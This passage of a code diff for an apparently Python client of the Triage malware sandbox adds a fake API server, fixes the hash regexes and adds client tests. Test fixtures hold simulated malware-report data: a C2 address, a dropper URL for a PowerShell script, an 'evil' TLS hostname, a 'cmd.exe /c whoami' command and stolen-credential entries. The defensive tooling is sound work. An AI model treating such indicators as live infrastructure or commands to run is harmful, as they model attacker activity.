and request.can_read_body: + try: + record["json"] = await request.json() + except ValueError: + record["json"] = None + elif request.content_type.startswith("multipart/"): + reader = await request.multipart() + async for part in reader: + if part.filename is not None: + record["files"][part.name] = (part.filename, await part.read()) + else: + record["form"][part.name] = await part.text() + self.requests.append(record) + request[RECORD] = record + + if request.headers.get("Authorization") != f"Bearer {self.apikey}": + return _err(401, "UNAUTHORIZED", "Missing or invalid credentials.") + return await handler(request) + + def _routes(self, app: web.Application) -> None: + r = app.router + r.add_post("/api/v0/samples", self.submit) + r.add_get("/api/v0/samples", self.listSamples) + r.add_get("/api/v0/search", self.search) + r.add_get("/api/v0/samples/events", self.allEvents) + r.add_get("/api/v0/samples/{sid}", self.getSample) + r.add_delete("/api/v0/samples/{sid}", self.deleteSample) + r.add_post("/api/v0/samples/{sid}/profile", self.setProfile) + r.add_get("/api/v0/samples/{sid}/events", self.sampleEvents) + r.add_get("/api/v0/samples/{sid}/sample", self.sampleFile) + r.add_get("/api/v0/samples/{sid}/archive", self.archive) + r.add_get("/api/v0/samples/{sid}/archive.zip", self.archive) + r.add_get("/api/v0/samples/{sid}/summary", self.summary) + r.add_get("/api/v0/samples/{sid}/magic", self.magic) + r.add_get("/api/v0/samples/{sid}/reports/static", self.staticReport) + r.add_get("/api/v1/samples/{sid}/overview.json", self.overview) + r.add_get("/api/v0/samples/{sid}/{task}/report_triage.json", self.taskReport) + r.add_get("/api/v0/samples/{sid}/{task}/report_urlscan.json", self.urlscanReport) + r.add_get("/api/v0/samples/{sid}/{task}/{name:.+}", self.taskFile) + r.add_get("/api/v0/resources", self.resources) + r.add_get("/api/v0/geolocations", self.geolocations) + r.add_get("/api/v0/stats/user", self.stats) + r.add_get("/api/v0/stats/org", self.stats) + r.add_get("/api/v0/org/settings", self.orgSettings) + r.add_put("/api/v0/org/settings/magic", self.setMagicLink) + r.add_get("/api/v0/profiles", self.listProfiles) + r.add_post("/api/v0/profiles", self.createProfile) + r.add_get("/api/v0/profiles/{pid}", self.getProfile) + r.add_put("/api/v0/profiles/{pid}", self.updateProfile) + r.add_delete("/api/v0/profiles/{pid}", self.deleteProfile) + r.add_get("/api/v0/yara", self.listRules) + r.add_post("/api/v0/yara", self.createRule) + r.add_get("/api/v0/yara/{name}", self.getRule) + r.add_put("/api/v0/yara/{name}", self.updateRule) + r.add_delete("/api/v0/yara/{name}", self.deleteRule) + r.add_get("/api/v0/users", self.listUsers) + r.add_post("/api/v0/users", self.createUser) + r.add_get("/api/v0/users/{uid}", self.getUser) + r.add_delete("/api/v0/users/{uid}", self.deleteUser) + r.add_get("/api/v0/users/{uid}/apikeys", self.listKeys) + r.add_post("/api/v0/users/{uid}/apikeys", self.createKey) + r.add_delete("/api/v0/users/{uid}/apikeys/{name}", self.deleteKey) + + # ---- Helpers ---- + + def _sample(self, request: web.Request) -> dict | None: + return self.samples.get(request.match_info["sid"]) + + @staticmethod + def _notfound(what: str = "sample") -> web.Response: + return _err(404, "NOT_FOUND", f"The {what} was not found.") + + @staticmethod + def _page(request: web.Request, items: list) -> web.Response: + limit = int(request.query.get("limit", 20)) + offset = int(request.query.get("offset", 0) or 0) + data = items[offset:offset + limit] + nxt = str(offset + limit) if offset + limit < len(items) else None + return web.json_response({"data": data, "next": nxt}) + + def matches(self, sample: dict, query: str) -> bool: + """Whether a sample matches a (very simplified) Triage search query.""" + + overview = self.overviews.get(sample["id"], {}) + info = overview.get("sample", {}) + for term in query.split(" "): + if ":" not in term: + continue + key, valu = term.split(":", 1) + valu = valu.strip('"') + if key == "url": + if sample.get("url") != valu: + return False + elif key in ("md5", "sha1", "sha256", "sha512", "ssdeep"): + if info.get(key, "").lower() != valu.lower(): + return False + elif key == "family": + if valu not in overview.get("analysis", {}).get("family", []): + return False + elif key == "tag": + if valu not in overview.get("analysis", {}).get("tags", []): + return False + return True + + # ---- Samples ---- + + async def submit(self, request: web.Request) -> web.Response: + """POST /v0/samples - JSON for url/fetch, multipart (_json + file) for files.""" + + record = request[RECORD] + if record["files"]: + try: + body = json.loads(record["form"].get("_json") or "{}") + except ValueError: + return _err(400, "BAD_REQUEST", "Invalid _json field.") + filename, byts = record["files"].get("file", (None, b"")) + else: + body = record["json"] or {} + filename, byts = None, None + + kind = body.get("kind") + if kind not in ("file", "url", "fetch", "import"): + return _err(400, "INVALID", "Invalid kind.") + if kind == "file" and not byts: + return _err(400, "INVALID", "No file was uploaded.") + if kind in ("url", "fetch", "import") and not body.get("url"): + return _err(400, "INVALID", "No url was given.") + + self.counter += 1 + sid = f"261031-new{self.counter:06d}" + sample = { + "id": sid, + "status": "static_analysis" if body.get("interactive") else "pending", + "kind": kind, + "private": True, + "submitted": SUBMITTED, + } + if kind == "file": + sample["filename"] = body.get("target") or filename + self.files[sid] = byts + elif kind == "import": + # Imported samples are file samples copied from a public analysis. + sample["kind"] = "file" + sample["filename"] = body["url"].rstrip("/").rsplit("/", 1)[-1] + else: + sample["url"] = body["url"] + if kind == "fetch": + sample["filename"] = body["url"].rsplit("/", 1)[-1] + self.samples[sid] = sample + return web.json_response(sample) + + async def listSamples(self, request: web.Request) -> web.Response: + subset = request.query.get("subset", "owned") + if subset not in ("owned", "public", "org"): + return _err(400, "INVALID", "Invalid subset.") + return self._page(request, list(reversed(list(self.samples.values())))) + + async def search(self, request: web.Request) -> web.Response: + query = request.query.get("query", "") + hits = [s for s in reversed(list(self.samples.values())) if self.matches(s, query)] + return self._page(request, hits) + + async def getSample(self, request: web.Request) -> web.Response: + sample = self._sample(request) + if sample is None: + return self._notfound() + return web.json_response(sample) + + async def deleteSample(self, request: web.Request) -> web.Response: + if self.samples.pop(request.match_info["sid"], None) is None: + return self._notfound() + return web.json_response({}) + + async def setProfile(self, request: web.Request) -> web.Response: + sample = self._sample(request) + if sample is None: + return self._notfound() + if sample["status"] != "static_analysis": + return _err(400, "PROFILE_NOT_SETTABLE", "The sample is not awaiting a profile.") + sample["status"] = "scheduled" + return web.json_response({}) + + async def _events(self, request: web.Request, samples: list[dict]) -> web.StreamResponse: + resp = web.StreamResponse(headers={"Content-Type": "application/x-ndjson"}) + await resp.prepare(request) + for sample in samples: + for status in EVENTS: + await resp.write(json.dumps(dict(sample, status=status)).encode() + b"\n") + # The analysis is done once its events end. + sample.update(status="reported", completed=COMPLETED) + await resp.write_eof() + return resp + + async def sampleEvents(self, request: web.Request) -> web.StreamResponse: + sample = self._sample(request) + if sample is None: + return self._notfound() + return await self._events(request, [sample]) + + async def allEvents(self, request: web.Request) -> web.StreamResponse: + return await self._events(request, list(self.samples.values())[:1]) + + async def sampleFile(self, request: web.Request) -> web.Response: + byts = self.files.get(request.match_info["sid"]) + if byts is None: + return self._notfound() + return web.Response(body=byts, content_type="application/octet-stream") + + async def archive(self, request: web.Request) -> web.Response: + sid = request.match_info["sid"] + if sid not in self.samples: + return self._notfound() + contents = {"sample": self.files.get(sid, b""), + "overview.json": json.dumps(self.overviews.get(sid, {})).encode()} + buf = io.BytesIO() + if request.path.endswith(".zip"): + with zipfile.ZipFile(buf, "w") as zfd: + for name, byts in contents.items(): + zfd.writestr(f"{sid}/{name}", byts) + else: + with tarfile.open(fileobj=buf, mode="w") as tfd: + for name, byts in contents.items(): + info = tarfile.TarInfo(f"{sid}/{name}") + info.size = len(byts) + tfd.addfile(info, io.BytesIO(byts)) + return web.Response(body=buf.getvalue(), content_type="application/octet-stream") + + def _report(self, store: dict, key: Any) -> web.Response: + report = store.get(key) + if report is None: + return _err(404, "REPORT_NOT_AVAILABLE", "The report is not available.") + return web.json_response(report) + + async def summary(self, request: web.Request) -> web.Response: + return self._report(self.summaries, request.match_info["sid"]) + + async def staticReport(self, request: web.Request) -> web.Response: + return self._report(self.statics, request.match_info["sid"]) + + async def overview(self, request: web.Request) -> web.Response: + return self._report(self.overviews, request.match_info["sid"]) + + async def taskReport(self, request: web.Request) -> web.Response: + return self._report(self.task_reports, (request.match_info["sid"], request.match_info["task"])) + + async def urlscanReport(self, request: web.Request) -> web.Response: + return self._report(self.urlscans, (request.match_info["sid"], request.match_info["task"])) + + async def magic(self, request: web.Request) -> web.Response: + if self._sample(request) is None: + return self._notfound() + if not self.org_settings.get("magic_link", {}).get("enabled"): + return _err(403, "FORBIDDEN", "Magic links are disabled.") + return web.json_response({"token": MAGIC_TOKEN}) + + # ---- Resources, geolocations, stats, and org settings ---- + + async def resources(self, request: web.Request) -> web.Response: + return web.json_response({"data": RESOURCES}) + + async def geolocations(self, request: web.Request) -> web.Response: + return web.json_response({"data": GEOLOCATIONS}) + + async def stats(self, request: web.Request) -> web.Response: + return web.json_response({"samples_submitted": len(self.samples)}) + + async def orgSettings(self, request: web.Request) -> web.Response: + return web.json_response(self.org_settings) + + async def setMagicLink(self, request: web.Request) -> web.Response: + body = request[RECORD]["json"] or {} + if not isinstance(body.get("enabled"), bool): + return _err(400, "INVALID", "enabled must be a boolean.") + self.org_settings["magic_link"] = {"enabled": body["enabled"]} + return web.json_response({}) + + async def taskFile(self, request: web.Request) -> web.Response: + key = (request.match_info["sid"], request.match_info["task"], request.match_info["name"]) + byts = self.task_files.get(key) + if byts is None: + return self._notfound("file") + return web.Response(body=byts, content_type="application/octet-stream") + + # ---- Profiles ---- + + def _profile(self, request: web.Request) -> dict | None: + pid = request.match_info["pid"] + if pid in self.profiles: + return self.profiles[pid] + for profile in self.profiles.values(): + if profile["name"] == pid: + return profile + return None + + async def listProfiles(self, request: web.Request) -> web.Response: + return self._page(request, list(self.profiles.values())) + + async def createProfile(self, request: web.Request) -> web.Response: + body = request[RECORD]["json"] or {} + if not body.get("name"): + return _err(400, "INVALID", "A name is required.") + if any(p["name"] == body["name"] for p in self.profiles.values()): + return _err(400, "PROFILE_ALREADY_EXISTS", "A profile with that name already exists.") + self.counter += 1 + profile = {"id": f"profile-{self.counter}", "name": body["name"], + "tags": body.get("tags") or [], "network": body.get("network", ""), + "timeout": body.get("timeout", 150)} + if body.get("geolocation"): + profile["geolocation"] = body["geolocation"] + self.profiles[profile["id"]] = profile + return web.json_response(profile) + + async def getProfile(self, request: web.Request) -> web.Response: + profile = self._profile(request) + if profile is None: + return self._notfound("profile") + return web.json_response(profile) + + async def updateProfile(self, request: web.Request) -> web.Response: + profile = self._profile(request) + if profile is None: + return self._notfound("profile") + body = request[RECORD]["json"] or {} + profile.update({k: v for k, v in body.items() + if k in ("name", "tags", "network", "timeout", "geolocation")}) + return web.json_response({}) + + async def deleteProfile(self, request: web.Request) -> web.Response: + profile = self._profile(request) + if profile is None: + return self._notfound("profile") + self.profiles.pop(profile["id"]) + return web.json_response({}) + + # ---- Yara ---- + + async def listRules(self, request: web.Request) -> web.Response: + return web.json_response({"rules": list(self.rules.values())}) + + async def createRule(self, request: web.Request) -> web.Response: + body = request[RECORD]["json"] or {} + name, rule = body.get("name"), body.get("rule") + if not name or not rule: + return _err(400, "INVALID", "A name and rule are required.") + if "condition" not in rule: + return _err(400, "COMPILE_ERROR", "The rule failed to compile.") + self.rules[name] = {"name": name, "rule": rule, "warnings": []} + return web.json_response({}) + + async def getRule(self, request: web.Request) -> web.Response: + rule = self.rules.get(request.match_info["name"]) + if rule is None: + return self._notfound("rule") + return web.json_response(rule) + + async def updateRule(self, request: web.Request) -> web.Response: + name = request.match_info["name"] + if name not in self.rules: + return self._notfound("rule") + body = request[RECORD]["json"] or {} + if "condition" not in (body.get("rule") or ""): + return _err(400, "COMPILE_ERROR", "The rule failed to compile.") + self.rules[name]["rule"] = body["rule"] + return web.json_response({}) + + async def deleteRule(self, request: web.Request) -> web.Response: + if self.rules.pop(request.match_info["name"], None) is None: + return self._notfound("rule") + return web.json_response({}) + + # ---- Users ---- + + async def listUsers(self, request: web.Request) -> web.Response: + return self._page(request, list(self.users.values())) + + async def createUser(self, request: web.Request) -> web.Response: + body = request[RECORD]["json"] or {} + if not body.get("username") and not body.get("email"): + return _err(400, "INVALID", "A username or email is required.") + self.counter += 1 + user = {"id": f"user-{self.counter}", "created_at": SUBMITTED, "company_id": "company-1"} + user.update({k: v for k, v in body.items() if k != "password"}) + self.users[user["id"]] = user + return web.json_response(user) + + async def getUser(self, request: web.Request) -> web.Response: + user = self.users.get(request.match_info["uid"]) + if user is None: + return self._notfound("user") + return web.json_response(user) + + async def deleteUser(self, request: web.Request) -> web.Response: + if self.users.pop(request.match_info["uid"], None) is None: + return self._notfound("user") + return web.json_response({}) + + async def listKeys(self, request: web.Request) -> web.Response: + uid = request.match_info["uid"] + if uid not in self.users: + return self._notfound("user") + return web.json_response({"data": self.apikeys.get(uid, [])}) + + async def createKey(self, request: web.Request) -> web.Response: + uid = request.match_info["uid"] + if uid not in self.users: + return self._notfound("user") + name = (request[RECORD]["json"] or {}).get("name") or "key" + self.counter += 1 + key = {"name": name, "key": f"newkey{self.counter:034d}"} + self.apikeys.setdefault(uid, []).append(key) + return web.json_response(key) + + async def deleteKey(self, request: web.Request) -> web.Response: + uid, name = request.match_info["uid"], request.match_info["name"] + keys = self.apikeys.get(uid, []) + if not any(k["name"] == name for k in keys): + return self._notfound("apikey") + self.apikeys[uid] = [k for k in keys if k["name"] != name] + return web.json_response({}) diff --git a/src/pyhatching/utils.py b/src/pyhatching/utils.py index 296578e..c68c094 100644 --- a/src/pyhatching/utils.py +++ b/src/pyhatching/utils.py @@ -5,22 +5,23 @@ from . import enums -MD5RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{32}") -SHA1RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{40}") -SHA2RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{64}") -SHA5RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{128}") +MD5RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{32}$") +SHA1RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{40}$") +SHA2RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{64}$") +SHA5RE: re.Pattern = re.compile(r"^[a-fA-F0-9]{128}$") +SSDEEPRE: re.Pattern = re.compile(r"^\d+:[a-zA-Z0-9/+]+:[a-zA-Z0-9/+]+$") HASHRE: re.Pattern = re.compile( - r"^[a-fA-F0-9]{128}|^[a-fA-F0-9]{64}|^[a-fA-F0-9]{40}|^[a-fA-F0-9]{32}" + r"^(?:[a-fA-F0-9]{128}|[a-fA-F0-9]{64}|[a-fA-F0-9]{40}|[a-fA-F0-9]{32})$" ) def is_hash(input_hash: str) -> bool: """ - True if input_hash is one of the following hash types: md5, sha1, sha256, sha512 + True if input_hash is one of the following hash types: md5, sha1, sha256, sha512, ssdeep """ - if HASHRE.search(input_hash): + if HASHRE.search(input_hash) or SSDEEPRE.search(input_hash): return True return False @@ -28,12 +29,12 @@ def is_hash(input_hash: str) -> bool: def hash_type(input_hash: str) -> enums.HashPrefixes | None: """Determine the type of a given hash. - Supports: md5, sha1, sha256, sha512 + Supports: md5, sha1, sha256, sha512, ssdeep Parameters ---------- input_hash : str - A hash of one of the following types: md5, sha1, sha256, sha512 + A hash of one of the following types: md5, sha1, sha256, sha512, ssdeep Returns ------- @@ -49,5 +50,7 @@ def hash_type(input_hash: str) -> enums.HashPrefixes | None: return enums.HashPrefixes.SHA1.value if MD5RE.search(input_hash): return enums.HashPrefixes.MD5.value + if SSDEEPRE.search(input_hash): + return enums.HashPrefixes.SSDEEP.value return None diff --git a/tests/test_client.py b/tests/test_client.py new file mode 100644 index 0000000..4554a25 --- /dev/null +++ b/tests/test_client.py @@ -0,0 +1,513 @@ +"""Tests for PyHatchingClient against the FakeTriage server.""" + +import io +import json +import os +import tarfile +import zipfile + +import pytest + +import pyhatching +from pyhatching import base, enums, errors, utils +from pyhatching import testing as ft + + +# The fake server listens on localhost, make sure no proxy gets in the way. +os.environ["NO_PROXY"] = ",".join(filter(None, (os.environ.get("NO_PROXY"), "127.0.0.1"))) +os.environ["no_proxy"] = os.environ["NO_PROXY"] + + +@pytest.fixture +async def fake(): + async with ft.FakeTriage() as srv: + yield srv + + +@pytest.fixture +async def client(fake): + async with pyhatching.PyHatchingClient(fake.apikey, url=fake.url) as cli: + yield cli + + +@pytest.fixture +async def rclient(fake): + async with pyhatching.PyHatchingClient(fake.apikey, url=fake.url, raise_on_api_err=True) as cli: + yield cli + + +def test_utils(): + assert utils.hash_type(ft.SAMPLE_MD5) == "md5" + assert utils.hash_type(ft.SAMPLE_SHA1) == "sha1" + assert utils.hash_type(ft.SAMPLE_SHA256) == "sha256" + assert utils.hash_type(ft.SAMPLE_SHA512) == "sha512" + assert utils.hash_type(ft.SAMPLE_SSDEEP) == "ssdeep" + # Hashes must be the whole value. + assert utils.hash_type(ft.SAMPLE_MD5 + "zz") is None + assert not utils.is_hash(ft.SAMPLE_ID) + assert utils.is_hash(ft.SAMPLE_SHA256) + + +def test_kernel_log_name(): + assert pyhatching.kernel_log_name({"os": "windows10-2004_x64"}) == "onemon" + assert pyhatching.kernel_log_name(base.TaskSummary(platform="ubuntu-2204")) == "stahp" + assert pyhatching.kernel_log_name({"platform": "macos"}) == "bigmac" + assert pyhatching.kernel_log_name({"os": "android-11"}) == "droidy" + with pytest.raises(errors.PyHatchingValueError): + pyhatching.kernel_log_name({"os": "plan9"}) + + +async def test_auth(fake): + async with pyhatching.PyHatchingClient("badkey", url=fake.url) as cli: + err = await cli.get_sample(ft.SAMPLE_ID) + assert isinstance(err, base.ErrorResponse) + assert err.error == "UNAUTHORIZED" and err.status == 401 + + async with pyhatching.PyHatchingClient("badkey", url=fake.url, raise_on_api_err=True) as cli: + with pytest.raises(errors.PyHatchingApiError) as exc: + await cli.get_sample(ft.SAMPLE_ID) + assert exc.value.status == 401 and exc.value.error == "UNAUTHORIZED" + + req = fake.requests[0] + assert req["headers"]["Authorization"] == "Bearer badkey" + assert "pyhatching/" in req["headers"]["User-Agent"] + + +async def test_not_started(): + cli = pyhatching.PyHatchingClient("key") + with pytest.raises(errors.PyHatchingRequestError): + await cli.get_profiles() + + +async def test_conn_error(): + async with pyhatching.PyHatchingClient("key", url="http://127.0.0.1:1", timeout=5) as cli: + with pytest.raises(errors.PyHatchingRequestError): + await cli.get_profiles() + + +async def test_new_client(fake): + cli = await pyhatching.new_client(fake.apikey, url=fake.url) + try: + assert len(await cli.get_profiles()) == 1 + finally: + await cli.close() + + +async def test_get_sample(client, fake): + sample = await client.get_sample(ft.SAMPLE_ID) + assert isinstance(sample, base.SampleInfo) + assert sample.status == enums.SubmissionStatuses.REPORTED + assert sample.filename == "invoice.exe" + assert [t.id for t in sample.tasks] == ["static1", "behavioral1"] + assert fake.last()["path"] == f"/api/v0/samples/{ft.SAMPLE_ID}" + # resp_obj is never dumped. + assert "resp_obj" not in sample.dict() + + # By hash, uses search to find the ID. + sample = await client.get_sample(ft.SAMPLE_SHA256) + assert sample.id == ft.SAMPLE_ID + search = fake.last(path="/search") + assert search["query"] == {"query": f"sha256:{ft.SAMPLE_SHA256}", "limit": "1"} + + assert await client.get_sample("a" * 64) is None + + err = await client.get_sample("nope") + assert isinstance(err, base.ErrorResponse) and err.error == "NOT_FOUND" + + +async def test_extra_fields(client, fake): + fake.samples[ft.SAMPLE_ID]["brand_new_field"] = 1 + sample = await client.get_sample(ft.SAMPLE_ID) + assert sample.dict()["brand_new_field"] == 1 + + +async def test_search_and_list(client, fake): + for idx in range(5): + fake.samples[f"261031-x{idx}"] = dict(ft.SAMPLE, id=f"261031-x{idx}") + + hits = await client.search("family:cobaltstrike", limit=3) + assert len(hits) == 1 and hits[0].id == ft.SAMPLE_ID + + fake.samples["261031-url"] = dict(ft.SAMPLE, id="261031-url", kind="url", url="http://a.com/x") + hits = await client.search('url:"http://a.com/x"') + assert [h.id for h in hits] == ["261031-url"] + del fake.samples["261031-url"] + + samples = await client.get_samples("public", limit=4) + assert [s.id for s in samples] == [f"261031-x{i}" for i in (4, 3, 2, 1)] + assert fake.last()["query"] == {"subset": "public", "limit": "4"} + + samples = await client.get_samples(limit=0) + assert len(samples) == 6 + + page = await client.samples_page(enums.SampleSubsets.ORG, limit=2) + assert isinstance(page, base.SamplesPage) and len(page.data) == 2 and page.next == "2" + page2 = await client.samples_page("org", limit=2, offset=page.next) + assert page2.data[0].id == "261031-x2" + assert fake.last()["query"]["offset"] == "2" + + ids = [s.id async for s in client.iter_search("", limit=0)] + assert len(ids) == 6 + ids = [s.id async for s in client.iter_samples("owned", limit=5)] + assert len(ids) == 5 + + err = await client.get_samples("bad") + assert isinstance(err, base.ErrorResponse) and err.error == "INVALID" + with pytest.raises(errors.PyHatchingApiError): + async for _ in client.iter_samples("bad"): + pass + + +async def test_pagination_page_sizes(client, fake): + for idx in range(250): + fake.samples[f"261031-p{idx:03d}"] = dict(ft.SAMPLE, id=f"261031-p{idx:03d}") + samples = await client.get_samples(limit=230) + assert len(samples) == 230 + limits = [r["query"]["limit"] for r in fake.requests if r["path"] == "/api/v0/samples"] + assert limits == ["200", "30"] + + +async def test_submit_file(client, fake, tmp_path): + req = base.SubmissionRequest( + kind="file", + interactive=False, + profiles=[{"profile": "win10-internet", "pick": "invoice.exe"}], + user_tags=["case:1234"], + password="infected", + defaults={"timeout": 120, "network": "sim200"}, + ) + path = tmp_path / "invoice.exe" + path.write_bytes(b"MZ hello") + sample = await client.submit_sample(req, path) + assert isinstance(sample, base.SamplesResponse) and sample.filename == "invoice.exe" + + sent = fake.last("post", "/samples") + assert sent["files"]["file"] == ("invoice.exe", b"MZ hello") + body = json.loads(sent["form"]["_json"]) + assert body == { + "kind": "file", + "interactive": False, + "password": "infected", + "profiles": [{"profile": "win10-internet", "pick": "invoice.exe"}], + "user_tags": ["case:1234"], + "defaults": {"timeout": 120, "network": "sim200"}, + } + + # Bytes need a target filename. + with pytest.raises(errors.PyHatchingValueError): + await client.submit_sample(base.SubmissionRequest(kind="file"), b"MZ") + sample = await client.submit_sample(base.SubmissionRequest(kind="file", target="a.dll"), b"MZ") + assert fake.last("post", "/samples")["files"]["file"] == ("a.dll", b"MZ") + + with pytest.raises(errors.PyHatchingValueError): + await client.submit_sample(base.SubmissionRequest(kind="file")) + with pytest.raises(errors.PyHatchingFileError): + await client.submit_sample(base.SubmissionRequest(kind="file"), tmp_path / "missing") + + +async def test_submit_url(client, fake): + req = base.SubmissionRequest(kind="url", url="http://example.com", interactive=True, + user_tags=["phish"]) + sample = await client.submit_sample(req) + assert sample.kind == enums.SampleKinds.URL and sample.url == "http://example.com" + assert sample.status == enums.SubmissionStatuses.STATIC_ANALYSIS + assert fake.last("post", "/samples")["json"] == { + "kind": "url", "url": "http://example.com", "interactive": True, "user_tags": ["phish"], + } + + sample = await client.submit_sample(base.SubmissionRequest(kind="fetch", url="http://x.com/a.exe")) + assert sample.kind == enums.SampleKinds.FETCH and sample.filename == "a.exe" + + with pytest.raises(errors.PyHatchingValueError): + await client.submit_sample(base.SubmissionRequest(kind="url")) + + # Imports (private instances) pull in a public sample by URL or ID. + sample = await client.submit_sample( + base.SubmissionRequest(kind="import", url=f"https://tria.ge/{ft.SAMPLE_ID}") + ) + assert sample.kind == enums.SampleKinds.FILE and sample.filename == ft.SAMPLE_ID + assert fake.last("post", "/samples")["json"]["kind"] == "import" + with pytest.raises(errors.PyHatchingValueError): + await client.submit_sample(base.SubmissionRequest(kind="import")) + + +async def test_submit_defaults_geolocation(client, fake): + req = base.SubmissionRequest( + kind="url", + url="http://example.com", + defaults={"timeout": 60, "network": "vpn", "geolocation": "us"}, + ) + await client.submit_sample(req) + assert fake.last("post", "/samples")["json"]["defaults"] == { + "timeout": 60, "network": "vpn", "geolocation": "us", + } + + +async def test_set_profile_and_delete(client, rclient, fake): + sample = await client.submit_sample( + base.SubmissionRequest(kind="url", url="http://example.com", interactive=True) + ) + assert await client.set_sample_profile( + sample.id, [base.HatchingProfileSubmission(profile="win10-internet")] + ) is None + assert fake.last()["json"] == {"auto": False, "profiles": [{"profile": "win10-internet"}]} + + err = await client.set_sample_profile(sample.id, auto=True, pick=["a.exe"]) + assert isinstance(err, base.ErrorResponse) and err.error == "PROFILE_NOT_SETTABLE" + assert fake.last()["json"] == {"auto": True, "pick": ["a.exe"]} + with pytest.raises(errors.PyHatchingApiError): + await rclient.set_sample_profile(sample.id, auto=True) + + assert await client.delete_sample(sample.id) is None + assert fake.last()["method"] == "DELETE" + assert sample.id not in fake.samples + err = await client.delete_sample(sample.id) + assert err.error == "NOT_FOUND" + + +async def test_events(client, fake): + events = [e async for e in client.sample_events(ft.SAMPLE_ID)] + assert [e.status.value for e in events] == ft.EVENTS + events = [e async for e in client.samples_events()] + assert len(events) == len(ft.EVENTS) + with pytest.raises(errors.PyHatchingApiError): + async for _ in client.sample_events("nope"): + pass + + +async def test_reports(client, fake): + overview = await client.overview(ft.SAMPLE_ID) + assert isinstance(overview, base.OverviewReport) + assert fake.last()["path"] == f"/api/v1/samples/{ft.SAMPLE_ID}/overview.json" + assert overview.analysis.family == ["cobaltstrike"] + assert overview.sample.sha256 == ft.SAMPLE_SHA256 + config = overview.extracted[0].config + assert config.c2[0].startswith("http://198.51.100.7") + creds = config.credentials[0] + assert creds.username == creds.user == "bot@example.com" + assert creds.password == creds.pass_ == "hunter2" + assert creds.dict()["username"] == "bot@example.com" + assert overview.extracted[1].dropper.urls[0].url == "http://203.0.113.9/a.ps1" + assert overview.extracted[2].ransom_note.family == "lockbit" + assert overview.tasks[1].os == "windows10-2004_x64" + + # Old style credentials still validate. + assert base.Credentials(**{"user": "a", "pass": "b"}).password == "b" + + static = await client.static_report(ft.SAMPLE_SHA256) + assert isinstance(static, base.StaticReport) + assert static.files[0].sha256 == ft.SAMPLE_SHA256 + assert fake.last()["path"] == f"/api/v0/samples/{ft.SAMPLE_ID}/reports/static" + + report = await client.task_report(ft.SAMPLE_ID, f"{ft.SAMPLE_ID}-behavioral1") + assert isinstance(report, base.TriageReport) + assert fake.last()["path"] == f"/api/v0/samples/{ft.SAMPLE_ID}/behavioral1/report_triage.json" + assert report.network.flows[0].tls_sni == "evil.example.com" + assert report.network.ips["198.51.100.7"].asn == "AS64500" + assert report.processes[1].cmd == ["C:\\Windows\\System32\\cmd.exe", "/c", "whoami"] + assert report.dumped[0].sha256 == ft.DROPPED_SHA256 + + err = await client.task_report(ft.SAMPLE_ID, "behavioral9") + assert err.error == "REPORT_NOT_AVAILABLE" + + summary = await client.sample_summary(ft.SAMPLE_ID) + assert summary.score == 10 and f"{ft.SAMPLE_ID}-behavioral1" in summary.tasks + + events = [e async for e in client.kernel_report(ft.SAMPLE_ID, "behavioral1")] + assert events == ft.KERNEL_EVENTS + assert fake.last()["path"] == f"/api/v0/samples/{ft.SAMPLE_ID}/behavioral1/logs/onemon.json" + events = [e async for e in client.kernel_report(ft.SAMPLE_ID, "behavioral1", log="onemon")] + assert len(events) == 2 + events = [e async for e in client.kernel_report(ft.SAMPLE_SHA256, "behavioral1")] + assert events == ft.KERNEL_EVENTS + with pytest.raises(errors.PyHatchingValueError): + async for _ in client.kernel_report(ft.SAMPLE_ID, "behavioral7"): + pass + with pytest.raises(errors.PyHatchingApiError): + async for _ in client.kernel_report(ft.SAMPLE_ID, "behavioral1", log="stahp"): + pass + + +async def test_files(client, rclient, fake): + assert await client.download_sample(ft.SAMPLE_ID) == ft.SAMPLE_BYTES + assert await client.download_sample(ft.SAMPLE_MD5) == ft.SAMPLE_BYTES + assert await client.download_sample("nope") is None + with pytest.raises(errors.PyHatchingApiError) as exc: + await rclient.download_sample("nope") + assert exc.value.error == "NOT_FOUND" + + chunks = [c async for c in client.iter_sample(ft.SAMPLE_ID, chunk_size=4)] + assert b"".join(chunks) == ft.SAMPLE_BYTES + # The streaming downloads resolve hashes too. + chunks = [c async for c in client.iter_sample(ft.SAMPLE_SHA256)] + assert b"".join(chunks) == ft.SAMPLE_BYTES + chunks = [c async for c in client.iter_task_file(ft.SAMPLE_MD5, "behavioral1", "dump.pcap")] + assert b"".join(chunks) == ft.PCAP_BYTES + with pytest.raises(errors.PyHatchingApiError) as exc: + async for _ in client.iter_sample_archive("a" * 64): + pass + assert exc.value.error == "NOT_FOUND" + + assert await client.task_pcap(ft.SAMPLE_ID, "behavioral1") == ft.PCAP_BYTES + assert fake.last()["path"].endswith("/behavioral1/dump.pcap") + assert await client.task_pcap(ft.SAMPLE_ID, "behavioral1", pcapng=True) == ft.PCAP_BYTES + byts = await client.task_file(ft.SAMPLE_ID, "behavioral1", "files/0x0003000000022c2b-1.dat") + assert byts == ft.DROPPED_BYTES + assert fake.last()["path"] == ( + f"/api/v0/samples/{ft.SAMPLE_ID}/behavioral1/files/0x0003000000022c2b-1.dat" + ) + chunks = [c async for c in client.iter_task_file(ft.SAMPLE_ID, "behavioral1", "dump.pcap")] + assert b"".join(chunks) == ft.PCAP_BYTES + assert await client.task_file(ft.SAMPLE_ID, "behavioral1", "nope.bin") is None + + tar = await client.sample_archive(ft.SAMPLE_ID) + with tarfile.open(fileobj=io.BytesIO(tar)) as tfd: + assert f"{ft.SAMPLE_ID}/sample" in tfd.getnames() + zbyts = b"".join([c async for c in client.iter_sample_archive(ft.SAMPLE_ID, "zip")]) + with zipfile.ZipFile(io.BytesIO(zbyts)) as zfd: + assert zfd.read(f"{ft.SAMPLE_ID}/sample") == ft.SAMPLE_BYTES + assert fake.last()["path"].endswith("/archive.zip") + with pytest.raises(errors.PyHatchingValueError): + await client.sample_archive(ft.SAMPLE_ID, "rar") + + +async def test_profiles(client, fake): + profiles = await client.get_profiles() + assert [p.name for p in profiles] == ["win10-internet"] + profile = await client.get_profile("win10-internet") + assert profile.id == ft.PROFILE["id"] + assert profile.network == enums.ProfileNetworkOptions.INTERNET + + new = await client.submit_profile("new", ["windows7"], 60, enums.ProfileNetworkOptions.DROP) + assert new.name == "new" and new.id + assert fake.last()["json"] == {"name": "new", "tags": ["windows7"], "timeout": 